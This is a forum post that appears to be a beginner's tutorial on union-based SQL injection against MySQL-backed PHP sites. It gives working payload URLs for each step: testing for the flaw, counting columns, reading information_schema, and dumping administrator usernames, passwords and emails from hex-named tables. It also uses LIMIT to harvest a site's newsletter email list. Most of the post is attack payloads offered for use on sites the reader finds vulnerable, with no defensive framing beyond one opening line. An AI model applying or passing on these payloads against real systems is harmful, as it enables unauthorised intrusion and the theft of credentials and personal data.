So the members asked for details on each exploit. if its illegal delete the post and don't ban me :P
The most common reason that a site is vulnerable to SQL Injection attacks in because the owner/coder didn't use the built in MySQL feature 'mysql_real_escape_string()'. The purpose of this function is to sanitize or remove special characters from an SQL query. The most common side-effect is the simple Username/Password exploit ' or 1='1. Most website administrators today use this function along with stripslashes() or addslashes() to further sanitize the data.
To be vulnerable the site has to have a GET parameter in the URL: index.php?id=1, id=1 being the GET parameter 'gets' the 1 'id' from the SQL database(Understand? Good.)
Now we have to add a thick at the end of the parameter to check the vulnerability
Example:
http://www.example.com/index.php?id=1'
Now there are many ways for a site to show you that it is vulnerable the most common are errors:
You have an error in your SQL Syntax
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():
If you receive any of these errors when you enter the ' after the number then chances are the site is vulnerable to SQL Injection attacks to some extent, but that isn't the only way to see if a site is vulnerable, the biggest overlooked error is when a main part of the site just simply disappears, such as a news article or a body of text on the main site. If this happens then it is likely that the site is vulnerable also.
Getting Number of Columns
After you find your vulnerable site the first step you need to take is to find the number of columns in the table that is in use. There are a couple of ways that people do this, personally I use the ORDER BY statement, there is also GROUP BY which accomplishes the same thing, but it's just habit. A lot of people use the string +and+1=0+ before their queries, most of the time this is just a waste of time to type this out, the only time you need this is if you try ORDER BY 300-- and you don't receive an error, then you would add the and 1=0 to your query.
To find number of columns you start with ORDER BY 1, if it doesn't error then you are good to go, sometimes you will get a syntax error when doing ORDER BY 1 that's why it is important to start there, if you get the syntax error your best bet is to move on to another site. If you don't get an error I always go to ORDER BY 300 to see if I will get an error there, sometimes you could go on for years and never get an error, there can't be 300 columns in the database so you should always get an error. After getting the error on 300 it is up to you how you want to find the number of columns, personally I jump around out of habit I usually do something like this:
Code:
http://www.example.com/index.php?id=1 ORDER BY 1--
no error
http://www.example.com/index.php?id=1 ORDER BY 300--
error
http://www.example.com/index.php?id=1 ORDER BY 10--
error
http://www.example.com/index.php?id=1 ORDER BY 5--
no error
http://www.example.com/index.php?id=1 ORDER BY 6--
error
After this you know that your website has 5 columns because it errors on everything above ORDER BY 5, and doesn't error on anything below ORDER BY 5.
Note on comments: Comments are not always necessary when injecting a website, although sometimes they are, by comments I am referring to the – at the end of the URL.
Possible comments to use are --, /*, /**/, or simply nothing at the end.
Getting MySQL Version
Now that we have the number of columns you are going to want to get the version of the database you are working on, this is an important step, because any version lower than 5 you will have to guess table names and column names. I don't recommend working on a database lower than version 5 for beginners, you should get aquanted with SQL Injection first. Before we can get the version you have to find a visible column number. This is where the Injection part really starts. To do this you will use a SELECT statement and the UNION statement. Most people don't understand that these are two completely different SQL statements, the reason you use UNION SELECT is because you are already SELECTing from the database when you are simply visiting the site.
For example:
http://www.example.com/index.php?id=1
What this URL is telling the database is SELECT * FROM 'tablenamehere' WHERE id='1';
Now when we add out UNION into that URL we are adding two SQL statements together since our example website has 5 columns this is what our query would look like:
http://www.example.com/index.php?id=1+UNION+SELECT+1,2,3,4,5--
The website should return normal after doing this, if it doesn't and it tells you something like “Forbidden†or some other error, then the website doesn't support union statements and you need to move on. If it doesn't error then add a negative sign after the equals sign like this:
http://www.example.com/index.php?id=-1+UNION+SELECT+1,2,3,4,5--
There is a reason for this people, I've been asked many times why you do this, the reason is when you send this query to the database you are sending something like:
SELECT * FROM 'tablenamehere' WHERE id='-1' AND SELECT 1,2,3,4,5
There isn't a -1 in the id column so the database will return a blank section of the page, but since we have our other SELECT statement in there it will return numbers back in the data's place. Those are our visible columns. For our example we'll say we got back the numbers 2 and 3 so these are the numbers that we can retrieve data from. To get our database version there are two ways either @@version or version(). To use them do this:
http://www.example.com/index.php?id=-1+UNION+SELECT+1,@@version,3,4,5--
or
http://www.example.com/index.php?id=-1+UNION+SELECT+1,concat(version()),3,4,5--
If you get an error like “Illegal mix of coallations when using @@version you simple have to convert it to latin from UTF8 like so:
http://www.example.com/index.php?id=-1+UNION+SELECT+1,convert(@@version using latin1),3,4,5--
NOTE: Notice that we completely replace the number 2 with our query, something like union select 1,concat(version()),2,3,4,5-- will not work.
Well if it worked you know now the version of the MySQL database in use you will see something like 5.0.13-log, or 4.0.0.1-delta, there are countless versions and types but all we need to focus on is the first number if it 5 then we are good to go, if it is 4 then if you are new you should move on. Getting Database Names
I haven't seen this covered on any papers on SQL Injection so I will include it because it is an important part of SQL Injection. For novice SQL Injectors ever started to inject a website then find no useful data such as. usernames/passwords? Most likely because the current database in use for the site only holds data like news articles and the like. This is where getting the different database names is important. In version of MySQL higher than 5 there will always be a database named 'information_schema' and most of the time a database named 'test', neither of these hold data that you will need to know, but yet the information_schema database is the reason that injection v5+ databases is so easy.
To get list of databases do this:
http://www.example.com/index.php?id=-1+union+select+1,group_concat(schema_name),3,4,5+ from+information_schema.schemata--
Now where you saw the database version pop up earlier you will see the names of all of the different databases we will say for our example we got back something like this:
information_schema,exampledb,exampledb2,test
If you want to know what the database in use right now do this:
http://www.example.com/index.php?id=-1+union+select+1,concat(database()),3,4,5--
We'll say we got back 'exampledb'.
From now on it is a good idea to have a text editor open like notepad/gEdit to save this information for later use. I always have notepad open when I am injecting a site, with a template like this:
Databases:
Tables:
Columns:
So that I can quickly copy and paste in. In my opinion this is a good habit to get into.
Getting Database User
Not really necessary but good to know use user():
Code:
http://www.example.com/index.php?id=-1+union+select+1,concat(user()),3,4,5--
Getting Table Names
I'm going to go a little more in-depth than most tutorials you'll see on the internet here because they aren't very thorough, most will just tell you how to get the tables of the current database but I am going to show you how to get table names from selected databases.
To get table names of current database:
Code:
http://www.example.com/index.php?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--
You will see a list of table names come out, for our example we will say we got:
news, images, ads, links
Wow that looks useful huh? That is information we can get from just looking at the website, so now it's time to get tables from our other database we found earlier 'exampledb2' This is where your best friend the hex converter will come in handy. To get tables from selected databases you have to hex the name.
So we convert exampledb2 to 6578616d706c65646232. Always rember to add the 0x in front of the hexed name to tell the database that it is hex encoded and it need to decode it to get the right name. So our database name ends up being 0x6578616d706c65646232.
Online text-to-hex converters:
http://www.string-functions.com/string-hex.aspx
http://home2.paulschou.net/tools/xlate/
Now for the query:
Code:
http://www.example.com/index.php?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=0x6578616d706c65646232--
Notice we change 'database()' to our hexed database name ' 0x6578616d706c65646232'
For our example we'll say we got back:
newsletter, members, administrators
That's the good stuff, normally you wouldn't have found this information and just moved onto another site.
Getting Column Names
This is exactly like getting table names you just change table_name to column_name and information_schema.tables to information_schema.columns:
Code:
http://www.example.com/index.php?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()--
That's gonna give you every column name on the database but you don't want the columns for 'exampledb' remember because there wasn't any useful info in there, you want just the column names from 'exampledb2' because there were member info and admin info in that database. So now you open you Text-to-hex again and hex your database again so 'exampledb2' becomes ' 0x6578616d706c65646232'
Code:
http://www.example.com/index.php?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema= 0x6578616d706c65646232--
That will only return the column names from that selected database. We'll say we got back:
email, username, password, first_name, last_name
If you remember the table names from exampledb2, which you should because you always paste into notepad right?, you can get the administrators username, password, email address, and full name.
To get this you would do:
Code:
http://www.example.com/index.php?id=-1 union select 1,group_concat(username,0x3a,password,0x3a,email,0x3a,first_name,0x3a,last_name) ,3,4,5 from exampledb2.administrators--
0x3a being the hex value for a colon ':' so that you can easily seperate the information. Sometimes this wont work though, sometimes you have to hex the databasename.tablename (not alot but sometimes) so in that case it would be:
Code:
http://www.example.com/index.php?id=-1 union select 1,group_concat(username,0x3a,password),3,4,5 from 0x6578616d706c656462322e61646d696e6973747261746f7273--
Which will then give you what you're looking for.
LIMIT What is it and why do I need to know it?
Ever found a database that is full of users/emails/anything else that you want but can't get it all because the website just wont display them all at one go? Well, this is where you need the LIMIT statement.
For our example we will say we want the emails from the exampledb2.newsletter table, the only column in that table is 'email', probably never be that easy but hey this is an example right? There are 500 emails in this database and when we group_concat(email) from the database we only get back 20 results and 1 half cut-off like random.douchebag@gma so how do we get the rest of the 480 emails? This is where your perseverance will come into play, if you want it that bad you would use the LIMIT statement to get them since we already got the first 20 results we'll start at 21 to get the full email address that is cut off:
Code:
http://www.example.com/index.php?id=-1 union select 1,concat(email),3,4,5 from exampledb2.newsletter limit 21,9999999--
Note when using limit: You can't use group_concat() it will error, drop the group and just use concat().